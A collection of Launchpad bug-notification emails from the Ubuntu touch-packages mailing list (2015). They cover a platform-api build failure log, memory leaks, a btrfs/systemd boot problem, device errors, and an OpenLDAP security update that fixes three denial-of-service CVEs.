Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458680] Re: platform-api FTBFS in wily (2.9.0+15.04.20150326-0ubuntu1)
https://code.launchpad.net/~mir-team/platform-api/delete-
deprecations/+merge/254170 needed to land
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to platform-api in Ubuntu.
https://bugs.launchpad.net/bugs/1458680
Title:
platform-api FTBFS in wily (2.9.0+15.04.20150326-0ubuntu1)
Status in platform-api package in Ubuntu:
New
Bug description:
sbuild -A --dist=wily --arch=i386 -c wily-proposed-i386-sbuild
platform-api_2.9.0+15.04.20150326-0ubuntu1.dsc
[ 26%] Building CXX object
src/ubuntu/application/common/mircommon/CMakeFiles/ubuntu_application_api_mircommon.dir/event_helpers_mir.cpp.o
cd
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/obj-i686-linux-gnu/src/ubuntu/application/common/mircommon
&& /usr/bin/i686-linux-gnu-g++-4.9-g -O2 -fstack-protector-strong -Wformat
-Werror=format-security -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fPIC
--std=c++11 -I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/include
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/android/include
-I/usr/include/mirclient -I/usr/include/mircommon
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/obj-i686-linux-gnu/include
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/../../bridge
-I/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common
-o CMakeFiles/ubuntu_application_api_mircommon.dir/event_helpers_mir.cpp.o -c
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:
In function 'bool ubuntu::application::ui::mir::event_to_ubuntu_event(const
MirEvent*, WindowEvent&)':
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:28:22:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
switch (mir_event->type)
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolkit/events/event.h:57:15: error: forward
declaration of 'const MirEvent {aka const union MirEvent}'
typedef union MirEvent MirEvent;
^
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:32:44:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
ubuntu_ev.key.device_id = mir_event->key.device_id;
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolkit/events/event.h:57:15: error: forward
declaration of 'const MirEvent {aka const union MirEvent}'
typedef union MirEvent MirEvent;
^
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:33:44:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
ubuntu_ev.key.source_id = mir_event->key.source_id;
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolkit/events/event.h:57:15: error: forward
declaration of 'const MirEvent {aka const union MirEvent}'
typedef union MirEvent MirEvent;
^
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:34:41:
error: invalid use of incomplete type 'const MirEvent {aka const union
MirEvent}'
ubuntu_ev.key.action = mir_event->key.action;
^
In file included from /usr/include/mirclient/mir_toolkit/event.h:22:0,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.h:24,
from
/«BUILDDIR»/platform-api-2.9.0+15.04.20150326/src/ubuntu/application/common/mircommon/event_helpers_mir.cpp:19:
/usr/include/mirclient/mir_toolki
[Touch-packages] [Bug 1458952] Re: Memory leak in InputMethodIBus
** Also affects: nux/trusty Importance: Undecided Status: New ** Changed in: nux/trusty Importance: Undecided => Medium ** Changed in: nux/trusty Status: New => Triaged -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to nux in Ubuntu. https://bugs.launchpad.net/bugs/1458952 Title: Memory leak in InputMethodIBus Status in Nux: Fix Committed Status in Nux trusty series: Triaged Status in nux package in Ubuntu: In Progress Bug description: There are two memory leaks in InputMethodIBus. One is with releasing the ibus_bus and the other being the keybinding. To manage notifications about this bug go to: https://bugs.launchpad.net/nux/+bug/1458952/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1440157] Re: WARNING **: Could not connect to geoname lookup server: Operation was cancelled
I am seeing this on Trusty Tahr 14.04.2 as well. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libtimezonemap in Ubuntu. https://bugs.launchpad.net/bugs/1440157 Title: WARNING **: Could not connect to geoname lookup server: Operation was cancelled Status in One Hundred Papercuts: Confirmed Status in Unity Control Center: New Status in libtimezonemap package in Ubuntu: Fix Released Status in unity-control-center package in Ubuntu: Confirmed Bug description: Test Case: open Date & Time panel > Clock Enable Time in other locations Click Choose Locations... No other locations can be added ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: indicator-datetime 13.10.0+15.04.20150331-0ubuntu1 ProcVersionSignature: Ubuntu 3.19.0-10.10-generic 3.19.2 Uname: Linux 3.19.0-10-generic x86_64 ApportVersion: 2.17-0ubuntu1 Architecture: amd64 CasperVersion: 1.358 CurrentDesktop: Unity Date: Fri Apr 3 23:54:13 2015 LiveMediaBuild: Ubuntu 15.04 "Vivid Vervet" - Beta amd64 (20150326) ProcEnviron: TERM=xterm PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: indicator-datetime UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/hundredpapercuts/+bug/1440157/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458952] [NEW] Memory leak in InputMethodIBus
Public bug reported: There are two memory leaks in InputMethodIBus. One is with releasing the ibus_bus and the other being the keybinding. ** Affects: nux Importance: Medium Assignee: Brandon Schaefer (brandontschaefer) Status: Fix Committed ** Affects: nux/trusty Importance: Undecided Status: New ** Affects: nux (Ubuntu) Importance: Medium Assignee: Brandon Schaefer (brandontschaefer) Status: In Progress ** Also affects: nux (Ubuntu) Importance: Undecided Status: New ** Changed in: nux Status: New => Fix Committed ** Changed in: nux Importance: Undecided => Medium ** Changed in: nux (Ubuntu) Importance: Undecided => Medium ** Changed in: nux (Ubuntu) Status: New => In Progress ** Changed in: nux Assignee: (unassigned) => Brandon Schaefer (brandontschaefer) ** Changed in: nux (Ubuntu) Assignee: (unassigned) => Brandon Schaefer (brandontschaefer) ** Branch linked: lp:~brandontschaefer/nux/input-method-memory-leak-fix -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to nux in Ubuntu. https://bugs.launchpad.net/bugs/1458952 Title: Memory leak in InputMethodIBus Status in Nux: Fix Committed Status in Nux trusty series: New Status in nux package in Ubuntu: In Progress Bug description: There are two memory leaks in InputMethodIBus. One is with releasing the ibus_bus and the other being the keybinding. To manage notifications about this bug go to: https://bugs.launchpad.net/nux/+bug/1458952/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1447879] Re: fscking btrfs mount fails with non-unique UUIDs
@pitti: please can you change the title to something that isn't so misleading. That would let others realise this same bug affects them. With btrfs if you make a filesystem consist of multiple partitions then each of those partitions will get the same UUID because they are all parts of the same filesystem. This is not incorrect behaviour. PARTUUID and UUID_SUB will be unique per partition as expected, but those are not what you use in /etc/fstab I did a fresh install in Virtualbox with a RAID 0 btrfs and @ and @home subvolumes and it did work. My real system with considerably more drives is more complicated. How do I troubleshoot this? I need to know what systemd thinks it is doing and why. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1447879 Title: fscking btrfs mount fails with non-unique UUIDs Status in systemd package in Ubuntu: Incomplete Bug description: I have two SSDs in raid0 (striped) configuration with my root and home as separate subvolumes. This setup has worked fine for several Ubuntu releases, but fails with systemd on 15.04. systemd does manage to mount root, but then looks like it is trying to fsck the "disk" for home which is nonsensical. After 90 seconds it drops into a useless shell where I can't fix things. Relevant lines from /etc/fstab UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 / btrfs defaults,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1347095B97B4-part1,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1338094EA3CA-part1,autodefrag,compress=lzo,subvol=@ 0 1 UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 /home btrfs defaults,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1347095B97B4-part1,device=/dev/disk/by-id/ata-Crucial_CT960M500SSD1_1338094EA3CA-part1,autodefrag,compress=lzo,subvol=@home 0 2 Note how the lines are identical except for the subvol value. I originally didn't have the device= bits either but had to add it for root because of how `btrfs device scan` is run. With or without it present doesn't make any difference for home. There is no such problem booting with upstart ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: systemd 219-7ubuntu3 ProcVersionSignature: Ubuntu 3.19.0-15.15-generic 3.19.3 Uname: Linux 3.19.0-15-generic x86_64 ApportVersion: 2.17.2-0ubuntu1 Architecture: amd64 CurrentDesktop: XFCE Date: Thu Apr 23 19:45:38 2015 MachineType: System manufacturer System Product Name ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.19.0-15-generic root=UUID=3ff68715-0daa-4e44-8de2-0997f36d8ab6 ro rootflags=subvol=@ nomdmonddf nomdmonisw init=/sbin/upstart SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/systemd-timesyncd.service → /lib/systemd/system/systemd-timesyncd.service.d/disable-with-time-daemon.conf 1 overridden configuration files found. UpgradeStatus: Upgraded to vivid on 2015-04-23 (0 days ago) dmi.bios.date: 08/13/2013 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2104 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: P8Z77-V PRO dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2104:bd08/13/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8Z77-VPRO:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1447879/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458951] [NEW] [phone]: phone network doesn't work
Public bug reported: I saw that this happens in OS ubuntu for phones: ubuntu 14.10 r21 and I actually see this in ubuntu 15.04 beta r.223 (bq aquaris ubuntu edition) When the battery of phone down tu critical value phone network doesn't works. Icon status of the top panel shows the network working. If you charge the phone (without restarting) the problem persists. If you try to call in the phone app the top notification area shows you as "without service" Wifi works fine all this time. I think that the OS must notify you that the phone network will get closed for the critical battery and recover the network when you put the movil to charge. Maybe you must see this also in the icon of the notification top area. ** Affects: indicator-network (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to indicator-network in Ubuntu. https://bugs.launchpad.net/bugs/1458951 Title: [phone]: phone network doesn't work Status in indicator-network package in Ubuntu: New Bug description: I saw that this happens in OS ubuntu for phones: ubuntu 14.10 r21 and I actually see this in ubuntu 15.04 beta r.223 (bq aquaris ubuntu edition) When the battery of phone down tu critical value phone network doesn't works. Icon status of the top panel shows the network working. If you charge the phone (without restarting) the problem persists. If you try to call in the phone app the top notification area shows you as "without service" Wifi works fine all this time. I think that the OS must notify you that the phone network will get closed for the critical battery and recover the network when you put the movil to charge. Maybe you must see this also in the icon of the notification top area. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/indicator-network/+bug/1458951/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458947] [NEW] QinHeng Electronics CH345 MIDI adapter triggers error
Public bug reported: Cheap oriental MIDI adapter starts up with the following error, but works as expected.* E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="1" name="usb-1a86_USB2.0-MIDI-00-USB20MIDI" card_name="alsa_card.usb-1a86_USB2.0-MIDI-00-USB20MIDI" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes use_ucm=yes card_properties="module-udev- detect.discovered=1""): initialization failed. The device: 1a86:752d QinHeng Electronics CH345 MIDI adapter Of course i'm not sure whether this is a PA problem or an ALSA or UDEV bug. Ubuntu 14.04.2 LTS Pulseaudio 1:4.0-0ubuntu11.1 * works almost as expected: there is one physical input and one output, but in ALSA one input and two outputs appear. ** Affects: pulseaudio (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1458947 Title: QinHeng Electronics CH345 MIDI adapter triggers error Status in pulseaudio package in Ubuntu: New Bug description: Cheap oriental MIDI adapter starts up with the following error, but works as expected.* E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="1" name="usb-1a86_USB2.0-MIDI-00-USB20MIDI" card_name="alsa_card.usb-1a86_USB2.0-MIDI-00-USB20MIDI" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes use_ucm=yes card_properties="module-udev- detect.discovered=1""): initialization failed. The device: 1a86:752d QinHeng Electronics CH345 MIDI adapter Of course i'm not sure whether this is a PA problem or an ALSA or UDEV bug. Ubuntu 14.04.2 LTS Pulseaudio 1:4.0-0ubuntu11.1 * works almost as expected: there is one physical input and one output, but in ALSA one input and two outputs appear. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1458947/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1446809] Re: [SRU] denial of service via an LDAP search query (CVE-2012-1164, CVE-2013-4449, CVE-2015-1545)
This bug was fixed in the package openldap - 2.4.28-1.1ubuntu4.5 --- openldap (2.4.28-1.1ubuntu4.5) precise-security; urgency=medium * SECURITY UPDATE: denial of service via an LDAP search query with attrsOnly set to true. (LP: #1446809) - debian/patches/CVE-2012-1164.1.patch: don't leave empty slots in normalized attr values - debian/patches/CVE-2012-1164.2.patch: add FIXME comment, note that current patch is not ideal - debian/patches/CVE-2012-1164.3.patch: fix attr_dup2 when no values are present (attrsOnly = TRUE) - CVE-2012-1164 * SECURITY UPDATE: fix rwm overlay reference counting - debian/patches/CVE-2013-4449.patch: fix reference counting - CVE-2013-4449 * SECURITY UPDATE: fix NULL pointer dereference in deref_parseCtrl() - debian/patches/CVE-2015-1545.patch: require non-empty AttributeList - CVE-2015-1545 -- Felipe Reyes Tue, 19 May 2015 11:53:17 -0300 ** Changed in: openldap (Ubuntu Precise) Status: Triaged => Fix Released ** Changed in: openldap (Ubuntu Trusty) Status: New => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openldap in Ubuntu. https://bugs.launchpad.net/bugs/1446809 Title: [SRU] denial of service via an LDAP search query (CVE-2012-1164, CVE-2013-4449, CVE-2015-1545) Status in openldap package in Ubuntu: Fix Released Status in openldap source package in Precise: Fix Released Status in openldap source package in Trusty: Fix Released Status in openldap source package in Utopic: Fix Released Status in openldap source package in Vivid: Fix Released Status in openldap package in Debian: Fix Released Bug description: [Impact] * CVE-2012-1164: - slapd in OpenLDAP before 2.4.30 allows remote attackers to cause a denial of service (assertion failure and daemon exit) via an LDAP search query with attrsOnly set to true, which causes empty attributes to be returned. - Trusty ships 2.4.31 which comes with a fix for this. * CVE-2013-4449 - The rwm overlay in OpenLDAP 2.4.23, 2.4.36, and earlier does not properly count references, which allows remote attackers to cause a denial of service (slapd crash) by unbinding immediately after a search request, which triggers rwm_conn_destroy to free the session context while it is being used by rwm_op_search. - This bug affects all the series (precise, trusty, utopic, vivid and wily) * CVE-2015-1545 - The deref_parseCtrl function in servers/slapd/overlays/deref.c in OpenLDAP 2.4.13 through 2.4.40 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via an empty attribute list in a deref control in a search request. - This bug affects all the series (precise, trusty, utopic, vivid and wily) [Regression Potential] * this set of patches adds validations to avoid segfaults, so no regression is expected. [Other Info] * CVE-2012-1164: - Upstream bug report http://www.openldap.org/its/index.cgi/Software%2520Bugs?id=7143 - http://people.canonical.com/~ubuntu-security/cve/2012/CVE-2012-1164.html - Patches backported: - http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=commit;h=ef2f5263de8802794e528cc2648ecfca369302ae (p1) - http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=commit;h=430256fafb85028443d7964a5ab1f4bbf8b2db38 (p2) - http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=commit;h=463c1fa25d45e393dc1f1ea235286f79e872fad0 (p3) * CVE-2013-4449 - Upstream bug report http://www.openldap.org/its/index.cgi/Incoming?id=7723 - Patches backported: - http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=commit;h=924389d9dd9dbb6ffe5db6c0fc65ecfe6814a1af * CVE-2015-1545 - Upstream bug report http://www.openldap.org/its/?findid=8027 - Patches backported: - http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=commit;h=7a5a98577a0481d864ca7fe05b9b32274d4d1fb5 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1446809/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
